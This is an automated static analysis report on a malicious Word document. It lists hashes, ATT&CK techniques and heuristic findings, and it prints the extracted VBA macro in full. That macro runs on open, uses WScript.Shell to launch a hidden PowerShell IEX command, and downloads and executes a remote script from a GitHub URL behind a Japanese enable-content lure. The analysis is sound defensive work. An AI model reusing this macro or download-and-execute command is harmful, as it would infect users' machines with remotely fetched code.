Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1aca62502efabd34…

MALICIOUS

Office (OLE)

40.0 KB Created: 2019-02-05 18:33:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 9b7212f54d8460d8144f65d1f644bb13 SHA-1: 3c2eaba89eab872ee549f22f08fdb83e0a34ad99 SHA-256: 1aca62502efabd340036a0f74f46e03dab633a0d12497b5456590d329fffba6a
378 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that automatically execute upon opening. The Auto_Open macro utilizes WScript.Shell to run a PowerShell command. This command downloads a script from 'https://raw.githubusercontent.com/scriptsample/mal/master/cs-test.ps1' and executes it. The document body contains a Japanese message instructing the user to enable content, indicating a social engineering lure.

Heuristics 12

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim Wsh
        Set Wsh = CreateObject("Wscript.shell")
        cmdStr = "powershell -ExecutionPolicy RemoteSigned -Command ""IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/scriptsample/mal/master/cs-test.ps1');"""
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Sub Auto_Open()
    '@@powershellコマンドを実行
        Dim Wsh
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim Wsh
        Set Wsh = CreateObject("Wscript.shell")
        cmdStr = "powershell -ExecutionPolicy RemoteSigned -Command ""IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/scriptsample/mal/master/cs-test.ps1');"""
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Auto_Open()
    '@@powershellコマンドを実行
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://raw.githubusercontent.com/scriptsample/mal/master/cs-test.ps1 In document text (OLE body)
    • https://raw.githubusercontent.com/scriptsample/mal/mIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 659 bytes
SHA-256: f8af08c12ad7efd59626b059a4424cb7812564fcf925fae006fb21fe16a61a4e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
'@@powershellコマンドを実行
    Dim Wsh
    Set Wsh = CreateObject("Wscript.shell")
    cmdStr = "powershell -ExecutionPolicy RemoteSigned -Command ""IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/scriptsample/mal/master/cs-test.ps1');"""
    Wsh.Run cmdStr, 0
End Sub
Sub AutoOpen()
    Auto_Open
End Sub